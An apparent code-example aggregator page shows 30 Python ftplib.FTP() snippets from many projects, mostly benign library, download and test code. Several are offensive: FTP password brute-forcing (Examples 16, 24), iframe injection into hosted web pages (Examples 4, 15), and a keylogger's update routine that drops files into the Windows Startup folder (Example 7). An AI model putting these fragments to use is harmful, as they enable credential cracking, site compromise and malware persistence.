Python ftplib.FTP Examples

The following are 30 code examples of ftplib.FTP(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module ftplib , or try the search function .
Example #1
Source File: connection.py    From insightconnect-plugins with MIT License 7 votes vote down vote up
def connect(self, params={}):
        self.logger.info("Connect: Connecting..")
        host = params.get('host')
        username = params.get('credentials').get('username', 'anonymous')
        password = params.get('credentials').get('password', 'test@test.com')
        # Use secure mode?
        secure = params.get('secure', False)
        # Use passive mode?
        passive = params.get('passive', False)

        # Either ftplib.FTP or ftplib.FTP_TLS
        base_ftp_class = ftplib.FTP
        if secure:
            base_ftp_class = ftplib.FTP_TLS
        my_session_factory = ftputil.session.session_factory(
            base_class=base_ftp_class,
            use_passive_mode=passive)
        try:
            self.ftp_host = ftputil.FTPHost(host, username,
                                            password, session_factory=my_session_factory)
        except ftputil.error.PermanentError as e:
            raise e 
Example #2
Source File: ensembl.py    From bioservices with GNU General Public License v3.0 6 votes vote down vote up
def download(self, db="fungi", release="current"):

        import ftplib
        f = ftplib.FTP('ftp.ensemblgenomes.org')
        f.login("anonymous", "anonymous")
        f.cwd("pub/%s/%s" % (db, release))
        f.cwd("fasta")
        species = f.nlst()

        print(species)

        for this in species:
            print(this)
            if this.endswith('collection'):
                f.cwd(this)
                subdirs = f.nlst()
                for thisdir in subdirs:
                    print(thisdir)
                    f.cwd(thisdir)
                    f.cwd('dna')
                    files = f.nlst()
                    todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
                    for filename in todownload:
                        f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
                    f.cwd("../../")
                f.cwd('..')

            else:
                continue
                f.cwd(this)
                f.cwd('dna')
                files = f.nlst()
                todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
                for filename in todownload:
                    f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
                f.cwd("../../") 
Example #3
Source File: urllib.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
        if 'location' in headers:
            newurl = headers['location']
        elif 'uri' in headers:
            newurl = headers['uri']
        else:
            return
        fp.close()
        # In case the server sent a relative URL, join with original:
        newurl = basejoin(self.type + ":" + url, newurl)

        # For security reasons we do not allow redirects to protocols
        # other than HTTP, HTTPS or FTP.
        newurl_lower = newurl.lower()
        if not (newurl_lower.startswith('http://') or
                newurl_lower.startswith('https://') or
                newurl_lower.startswith('ftp://')):
            raise IOError('redirect error', errcode,
                          errmsg + " - Redirection to url '%s' is not allowed" %
                          newurl,
                          headers)

        return self.open(newurl) 
Example #4
Source File: ftp_inject.py    From python-hacker with Apache License 2.0 6 votes vote down vote up
def main():
    host = raw_input('Please Input Hostname Or IP: ')
    while not host:
        host = raw_input('Please Input Hostname Or IP: ')

    username = raw_input('Please Input Username: ')
    while not username:
        username = raw_input('Please Input Username: ')

    password = raw_input('Please Input Password: ')
    while not password:
        password = raw_input('Please Input Password: ')

    webpage = raw_input('Please Input WebPage For Injecting: ')
    while not webpage:
        webpage = raw_input('Please Input WebPage For Injecting: ')

    url = raw_input('Please Input The Url Which Will Be Injected: ')
    while not url:
        url = raw_input('Please Input The Url Which Will Be Injected: ')

    ftp = ftplib.FTP(host)
    ftp.login(username, password)
    redirect = '<iframe src = "'+url+'"></iframe>'
    injectPage(ftp, webpage, redirect) 
Example #5
Source File: urllib.py    From meddle with MIT License 6 votes vote down vote up
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
        if 'location' in headers:
            newurl = headers['location']
        elif 'uri' in headers:
            newurl = headers['uri']
        else:
            return
        void = fp.read()
        fp.close()
        # In case the server sent a relative URL, join with original:
        newurl = basejoin(self.type + ":" + url, newurl)

        # For security reasons we do not allow redirects to protocols
        # other than HTTP, HTTPS or FTP.
        newurl_lower = newurl.lower()
        if not (newurl_lower.startswith('http://') or
                newurl_lower.startswith('https://') or
                newurl_lower.startswith('ftp://')):
            raise IOError('redirect error', errcode,
                          errmsg + " - Redirection to url '%s' is not allowed" %
                          newurl,
                          headers)

        return self.open(newurl) 
Example #6
Source File: request.py    From misp42splunk with GNU Lesser General Public License v3.0 6 votes vote down vote up
def open_file(self, url):
        """Use local file or FTP depending on form of URL."""
        if not isinstance(url, str):
            raise URLError('file error: proxy support for file protocol currently not implemented')
        if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
            raise ValueError("file:// scheme is supported only on localhost")
        else:
            return self.open_local_file(url) 
Example #7
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 6 votes vote down vote up
def ftpupdate():
    try:
        chtodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
        try:
            os.chdir(chtodir)
        except Exception as e:
            print e

        ftp = FTP(ip)
        ftp.login(ftpuser, ftpkey)
        ftp.cwd(directory)

        for filename in ftp.nlst(filematch):
            fhandle = open(filename, 'wb')
            ftp.retrbinary('RETR ' + filename, fhandle.write)
            fhandle.close()

        if filematch in os.listdir(chtodir):
            deleteoldstub()
    except Exception as e:
        print e

    return True

#Function to send key strokes via email 
Example #8
Source File: Bgee.py    From dipper with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def _get_file_list(self, working_dir, file_regex=re.compile(r'.*'), ftp=None):
        """
        Get file list from ftp server filtered by taxon
        :return: Tuple of (Generator object with Tuple(
            file name, info object), ftp object)
        """

        if ftp is None:
            ftp = ftplib.FTP(BGEE_FTP)
            ftp.login("anonymous", "info@monarchinitiative.org")

        working_dir = "{}{}".format(self.version, working_dir)
        LOG.info('Looking for remote files in %s', working_dir)

        ftp.cwd(working_dir)
        remote_files = ftp.nlst()

        # LOG.info('All remote files \n%s', '\n'.join(remote_files))
        files_to_download = [
            dnload for dnload in remote_files if re.match(file_regex, dnload) and
            re.findall(r'^\d+', dnload)[0] in self.tax_ids]
        # LOG.info('Choosing remote files \n%s', '\n'.join(list(files_to_download)))

        return files_to_download, ftp 
Example #9
Source File: ftp_web_page.py    From python-hacker with Apache License 2.0 6 votes vote down vote up
def main():
    host = raw_input('Please Input Hostname Or IP: ')
    while not host:
        host = raw_input('Please Input Hostname Or IP: ')

    username = raw_input('Please Input Username: ')
    while not username:
        username = raw_input('Please Input Username: ')

    password = raw_input('Please Input Password: ')
    while not password:
        password = raw_input('Please Input Password: ')

    ftp = ftplib.FTP(host)
    try:
        ftp.login(username, password)
    except Exception, e:
        print e 
Example #10
Source File: urllib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def open_file(self, url):
        """Use local file or FTP depending on form of URL."""
        if not isinstance(url, str):
            raise IOError, ('file error', 'proxy support for file protocol currently not implemented')
        if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
            return self.open_ftp(url)
        else:
            return self.open_local_file(url) 
Example #11
Source File: 1_ftp_client.py    From deep-learning-note with MIT License 5 votes vote down vote up
def main():
    try:
        f = ftplib.FTP(HOST)
    except (socket.error, socket.gaierror) as e:
        print('ERROR: 无法连接 "{}"'.format(HOST))
        return
    print('*** 已连接到 "{}"'.format(HOST))

    try:
        f.login()
    except ftplib.error_perm:
        print('ERROR: 无法匿名登录')
        f.quit()
        return
    print('*** 已匿名身份登录')

    try:
        f.cwd(DIRN)
    except ftplib.error_perm:
        print('ERROR: 无法跳转到 "{}" 目录'.format(DIRN))
        f.quit()
        return
    print('*** 跳转到 "{}" 目录'.format(DIRN))

    try:
        f.retrbinary('RETR %s' % FILE, open(FILE, 'wb').write)
    except ftplib.error_perm:
        print('ERROR: 无法读取文件 "{}"'.format(FILE))
        os.unlink(FILE)
    else:
        print('*** 已下载 "{}" 到当前目录'.format(FILE))
    f.quit() 
Example #12
Source File: network.py    From Python-GUI-Programming-with-Tkinter with MIT License 5 votes vote down vote up
def upload_to_corporate_ftp(
        filepath, ftp_host,
        ftp_port, ftp_user, ftp_pass):

    with ftp.FTP() as ftp_cx:
        # connect and login
        ftp_cx.connect(ftp_host, ftp_port)
        ftp_cx.login(ftp_user, ftp_pass)

        # upload file
        filename = path.basename(filepath)

        with open(filepath, 'rb') as fh:
            ftp_cx.storbinary('STOR {}'.format(filename), fh) 
Example #13
Source File: network.py    From Python-GUI-Programming-with-Tkinter with MIT License 5 votes vote down vote up
def upload_to_corporate_ftp(
        filepath, ftp_host,
        ftp_port, ftp_user, ftp_pass):

    with ftp.FTP() as ftp_cx:
        # connect and login
        ftp_cx.connect(ftp_host, ftp_port)
        ftp_cx.login(ftp_user, ftp_pass)

        # upload file
        filename = path.basename(filepath)

        with open(filepath, 'rb') as fh:
            ftp_cx.storbinary('STOR {}'.format(filename), fh) 
Example #14
Source File: ftp_anonymous.py    From python-hacker with Apache License 2.0 5 votes vote down vote up
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
        return False 
Example #15
Source File: ftp_attack_web_page.py    From python-hacker with Apache License 2.0 5 votes vote down vote up
def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    #遍历找到的每一个网页,注入每个网页
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

#主函数 
Example #16
Source File: ftp_attack_web_page.py    From python-hacker with Apache License 2.0 5 votes vote down vote up
def bruteLogin(hostname, passwdFile):
    pf = open(passwdFile, 'r')
    for line in pf.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + '/' + passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass 
Example #17
Source File: network.py    From Python-GUI-Programming-with-Tkinter with MIT License 5 votes vote down vote up
def upload_to_corporate_ftp(
        filepath, ftp_host,
        ftp_port, ftp_user, ftp_pass):

    with ftp.FTP() as ftp_cx:
        # connect and login
        ftp_cx.connect(ftp_host, ftp_port)
        ftp_cx.login(ftp_user, ftp_pass)

        # upload file
        filename = path.basename(filepath)

        with open(filepath, 'rb') as fh:
            ftp_cx.storbinary('STOR {}'.format(filename), fh) 
Example #18
Source File: test_ftplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def setUp(self):
        self.server = DummyFTPServer((HOSTv6, 0), af=socket.AF_INET6)
        self.server.start()
        self.client = ftplib.FTP()
        self.client.connect(self.server.host, self.server.port) 
Example #19
Source File: urllib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def init(self):
        import ftplib
        self.busy = 0
        self.ftp = ftplib.FTP()
        self.ftp.connect(self.host, self.port, self.timeout)
        self.ftp.login(self.user, self.passwd)
        _target = '/'.join(self.dirs)
        self.ftp.cwd(_target) 
Example #20
Source File: urllib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def ftperrors():
    """Return the set of errors raised by the FTP class."""
    global _ftperrors
    if _ftperrors is None:
        import ftplib
        _ftperrors = ftplib.all_errors
    return _ftperrors 
Example #21
Source File: ftp.py    From filesystem_spec with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _connect(self):
        self.ftp = FTP(timeout=self.timeout)
        self.ftp.connect(self.host, self.port)
        self.ftp.login(*self.cred) 
Example #22
Source File: urllib.py    From meddle with MIT License 5 votes vote down vote up
def init(self):
        import ftplib
        self.busy = 0
        self.ftp = ftplib.FTP()
        self.ftp.connect(self.host, self.port, self.timeout)
        self.ftp.login(self.user, self.passwd)
        for dir in self.dirs:
            self.ftp.cwd(dir) 
Example #23
Source File: urllib.py    From meddle with MIT License 5 votes vote down vote up
def ftperrors():
    """Return the set of errors raised by the FTP class."""
    global _ftperrors
    if _ftperrors is None:
        import ftplib
        _ftperrors = ftplib.all_errors
    return _ftperrors 
Example #24
Source File: ftp_cracker.py    From Python-Scripts with GNU General Public License v3.0 5 votes vote down vote up
def connect(host, user, password):
	try:
		ftp = ftplib.FTP(host)
		ftp.login(user, password)
		print(cl.red+"\nLogin successfuly with password: "+str(password)+cl.end+'\n')
		ftp.quit()
		exit(0)
	except Exception:
		return False 
Example #25
Source File: ftp.py    From filesystem_spec with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _mlsd2(ftp, path="."):
    """
    Fall back to using `dir` instead of `mlsd` if not supported.

    This parses a Linux style `ls -l` response to `dir`, but the response may
    be platform dependent.

    Parameters
    ----------
    ftp: ftplib.FTP
    path: str
        Expects to be given path, but defaults to ".".
    """
    lines = []
    minfo = []
    ftp.dir(path, lines.append)
    for line in lines:
        line = line.split()
        this = (
            line[-1],
            {
                "modify": " ".join(line[5:8]),
                "unix.owner": line[2],
                "unix.group": line[3],
                "unix.mode": line[0],
                "size": line[4],
            },
        )
        if "d" == this[1]["unix.mode"][0]:
            this[1]["type"] = "dir"
        else:
            this[1]["type"] = "file"
        minfo.append(this)
    return minfo 
Example #26
Source File: urllib.py    From meddle with MIT License 5 votes vote down vote up
def open_file(self, url):
        """Use local file or FTP depending on form of URL."""
        if not isinstance(url, str):
            raise IOError, ('file error', 'proxy support for file protocol currently not implemented')
        if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
            return self.open_ftp(url)
        else:
            return self.open_local_file(url) 
Example #27
Source File: scan_anonftp.py    From apt2 with MIT License 5 votes vote down vote up
def testTarget(self, host, port):
        # verify we have not tested this host before
        if not self.seentarget(host + str(port)):
            self.addseentarget(host + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + host)
            # start packet capture
            cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + host, packetcount=10, timeout=10,
                              srcip=self.config['lhost'], dstip=host)

            # connect to the target host
            ftp = FTP()
            try:
                ftp.connect(host, int(port))

                outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
                    port) + "_" + host + "_" + Utils.getRandStr(10)

                try:
                    # attempt to login as anonymous
                    result = ftp.login("anonymous", "anon@mo.us")
                    if ("Login successful" in result):
                        # fire a new trigger
                        self.fire("anonymousFtp")
                        self.addVuln(host, "anonymousFTP", {"port": str(port), "output": outfile.replace("/", "%2F")})
                        self.display.error("VULN [AnonymousFTP] Found on [%s]" % host)
                    else:
                        self.display.verbose("Could not login as anonymous to FTP at " + host)
                except error_perm as e:
                    self.display.verbose("Could not login as anonymous to FTP at " + host)

                # close the connection
                ftp.close()

                # retrieve pcap results
                Utils.writeFile(self.getPktCap(cap), outfile)
            except EOFError as e:
                self.display.verbose("Could not find FTP server located at " + host + " Port " + str(port))
            except socket.error as e:
                self.display.verbose("Could not find FTP server located at " + host + " Port " + str(port)) 
Example #28
Source File: scan_anonftp.py    From apt2 with MIT License 5 votes vote down vote up
def __init__(self, config, display, lock):
        super(scan_anonftp, self).__init__(config, display, lock)
        self.title = "Test for Anonymous FTP"
        self.shortName = "anonymousFTP"
        self.description = "connect to remote FTP service as anonymous"

        self.requirements = []
        self.triggers = ["newService_ftp", "newPort_tcp_21"]

        self.safeLevel = 4 
Example #29
Source File: data-extractor.py    From cloudml-samples with Apache License 2.0 5 votes vote down vote up
def run(data_sources, filter_regex, max_data_files, data_dir):
  """Extracts the specified number of data files in parallel."""
  if not tf.gfile.Exists(data_dir):
    tf.gfile.MakeDirs(data_dir)

  # Get available data files
  filter_re = re.compile(filter_regex)
  ftp_files = []
  for source in data_sources:
    m = FTP_RE.search(source)
    if not m:
      raise ValueError('malformed FTP URI')
    user = m.group('user') or 'anonymous'
    password = m.group('password') or 'guest'
    server, path_dir = m.group('abs_path').split('/', 1)
    uri_prefix = 'ftp://{}:{}@{}/'.format(user, password, server)

    ftp = ftplib.FTP(server, user, password)
    ftp_files += [{
        'user': user,
        'password': password,
        'server': server,
        'path': path,
      } for path in ftp.nlst(path_dir)
      if filter_re.search(uri_prefix + path)]
    ftp.quit()

  # Extract data files in parallel
  if not max_data_files:
    max_data_files = len(ftp_files)
  assert max_data_files >= 1
  print('Found {} files, using {}'.format(len(ftp_files), max_data_files))
  ftp_files = ftp_files[:max_data_files]
  print('Extracting data files...')
  parallel_map(
      extract_data_file, ((ftp_file, data_dir) for ftp_file in ftp_files)) 
Example #30
Source File: data-extractor.py    From cloudml-samples with Apache License 2.0 5 votes vote down vote up
def extract_data_file(ftp_file, data_dir):
  """Function to extract a single PubChem data file."""
  user = ftp_file['user']
  password = ftp_file['password']
  server = ftp_file['server']
  path = ftp_file['path']
  basename = os.path.basename(path)
  sdf_file = os.path.join(data_dir, os.path.splitext(basename)[0])

  if not tf.gfile.Exists(sdf_file):
    # The `ftp` object cannot be pickled for multithreading, so we open a
    # new connection here
    memfile = BytesIO()
    ftp = ftplib.FTP(server, user, password)
    ftp.retrbinary('RETR ' + path, memfile.write)
    ftp.quit()

    memfile.seek(0)
    with tf.gfile.Open(sdf_file, 'w') as f:
      gzip_wbits_format = zlib.MAX_WBITS | 16
      contents = zlib.decompress(memfile.getvalue(), gzip_wbits_format)
      f.write(contents)
    print('Extracted {}'.format(sdf_file))

  else:
    print('Found {}'.format(sdf_file))